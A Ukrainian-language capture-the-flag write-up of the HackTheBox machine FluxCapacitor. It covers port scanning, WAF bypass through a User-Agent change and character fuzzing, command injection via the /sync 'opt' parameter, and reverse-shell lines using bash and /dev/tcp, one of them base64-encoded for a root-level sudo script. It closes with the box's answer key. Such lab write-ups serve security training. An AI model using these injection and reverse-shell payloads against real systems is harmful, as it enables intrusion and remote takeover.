_ SEARCH_ARCHIVE [/]
[ CLOSE_SESSION ]
:(

SYSTEM_HALTED

Your device ran into a critical error due to an unauthorized shell command. The system was halted to prevent data leakage and kernel corruption.

SYS_SEARCH v1.0.4 // CORE_INDEX ⚠️ [!] NEVER TYPE "EXIT" OR "SHUTDOWN" [ESC] TO ABORT
>>
>> LOC: ARCHIVE_ROOT/ctf_writeups/hacktheboxfluxcapacitor // SEC_LEVEL: 01 // STATUS: CONFIDENTIAL

>

#HACKTHEBOX
FILE_INFO_DECRYPTED
AUTHOR: UNKNOWN_ENTITY
SOURCE: LOCAL_ARCHIVE
TRANSLATE: @exploit.com.ua

Для початку додамо IP-адресу у файл hosts.

sudo nano /etc/hosts

Проведемо початкове сканування за допомогою masscan: будемо сканувати всі TCP та UDP порти зі швидкістю 500 пакетів на секунду через інтерфейс tun0 і перевіримо результат.

sudo masscan -p1-65535,U:1-65535 10.129.210.16 --rate=500 -e tun0 > fluxcapacitor

cat fluxcapacitor

Тепер проскануємо єдиний відкритий порт за допомогою nmap. Використовуємо опції sC для стандартних скриптів, sV для визначення версій служб та oA для збереження результатів у файл.

nmap -p80 -sC -sV -oA nmap/fluxcapacitor fluxcapacitor.htb

Nmap повідомляє нам, що на порту 80 працює вебсервер OpenResty версії 1.13.6.1. Також видно заголовок — SuperWAF. Давайте відкриємо сторінку через браузер.

OK: Node1 жива. Це все, що ми отримуємо. Переглянувши вихідний код сторінки, знаходимо коментар.

Давайте спробуємо відкрити ендпоїнт sync через браузер.

Вебсервер відповідає нам кодом — 403 — доступ заборонено. Трохи вище в nmap ми знайшли згадку про WAF, отже, тут є вебфаєрвол.

Переключимося на gobuster і проскануємо папки на сервері.

gobuster dir -u http://fluxcapacitor.htb -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt

Буде знайдено ендпоїнт sync та інші, що також починаються на sync*, до яких теж немає доступу. Переключимося на burp suite і спробуємо змінити заголовок запиту. Вмикаємо перехоплення в burp suite і через браузер надсилаємо запит, ловимо його в burp suite, відправляємо в Repeater і через вкладку відсилаємо запит.

Знову отримуємо помилку 403. Тепер давайте змінимо агент (User-Agent) і знову відправимо запит. Я змінив агент на CatZilla.

І отримуємо відповідь. Нам показують час.

Це підтверджує, що на сайті працює WAF.

Переключимося на wfuzz і спробуємо підібрати параметр для ендпоїнта.

wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt "http://fluxcapaсitor.htb/sync?FUZZ=test"

Але відповідей занадто багато, тому виключимо код 19 у стовпці Chars і продовжимо.

wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt --hh=19 "http://fluxcapaсitor.htb/sync?FUZZ=test"

Wfuzz знаходить нам параметр opt. Повернемося в burp suite і додамо цей параметр.

І також у відповіді будемо отримувати поточний час.

Але якщо додамо CatZilla до параметра, знову отримаємо помилку 403.

Екрануючи запит, отримаємо успішну відповідь 200.

Додаючи символ ; знову отримаємо помилку. Тобто якісь символи пропускаються, а якісь ні. Повернемося до wfuzz, щоб знайти дозволені та заборонені символи.

wfuzz -c -w /usr/share/seclists/Fuzzing/special-chars.txt -H "User-Agent: CatZilla" "http://fluxcapacitor.htb/sync?opt=FUZZ"

wfuzz дуже швидко відпрацював і показав нам такий результат.

;`|)(*$<> — є забороненими символами. Спробуємо скласти конструкцію з дозволених символів і пропінгувати себе. Для цього спочатку запустимо tcpdump.

sudo tcpdump -i tun0 icmp

Якщо зробимо запит /sync?opt=‘pi\ng 10.10.16.10’, то ніяких пінгів не буде. Але якщо додамо пробіл на початку команди, то ping запуститься.

Спробуємо скласти запит для завантаження файлу за допомогою wget, попередньо підготувавши файл із реверс-шеллом та замінивши IP-адресу на адресу свого тунельного інтерфейсу.

nano index.html

#!/bin/bash

bash -i >& /dev/tcp/10.10.16.10/1234 0>&1

Запустимо вебсервер на Python.

python3 -m http.server 80

І сформуємо запит.

Але отримаємо помилку 403. Спробуємо екранувати символи.

І файл буде успішно завантажено. Тепер давайте запустимо реверс-шелл, попередньо запустивши слухача.

І отримуємо сесію в nc.

І читаємо прапор користувача (user.txt).

Одразу перевіримо дозволи sudo.

sudo -l

З виводу команди видно, що через sudo ми можемо запускати скрипт .monit за шляхом /home/themiddle/. Давайте подивимося на цей скрипт.

Скрипт дуже простий. Спочатку потрібно передати cmd, а потім base64-закодоване навантаження, яке буде запускатися під root.

Спочатку запустимо слухача на порту 2345.

nc -lnvp 2345

І закодуємо навантаження.

echo "bash -i >& /dev/tcp/10.10.16.10/2345 0>&1" | base64

Отриманий рядок передамо в скрипт і переходимо до слухача.

Настав час прочитати прапор root.

Відповіді на запитання:

How many TCP ports are listening on FluxCapacitor? - 1

What is the relative endpoint on the webserver that returns a timestamp when not blocked by the web application firewall (WAF)? - /sync

What HTTP GET parameter changes the output of /sync? - opt

What user is the webserver running as? - nobody

What is the full path to the file that the nobody user can run as root with sudo - /home/themiddle/.monit

[!] SYSTEM_INCOMPATIBILITY_REPORT

FATAL_ERROR: MOBILE_DISPLAY_NOT_SUPPORTED

The requested resource "exploit.com.ua" is optimized for desktop terminal environments only.

Mobile UI decoding is currently in progress...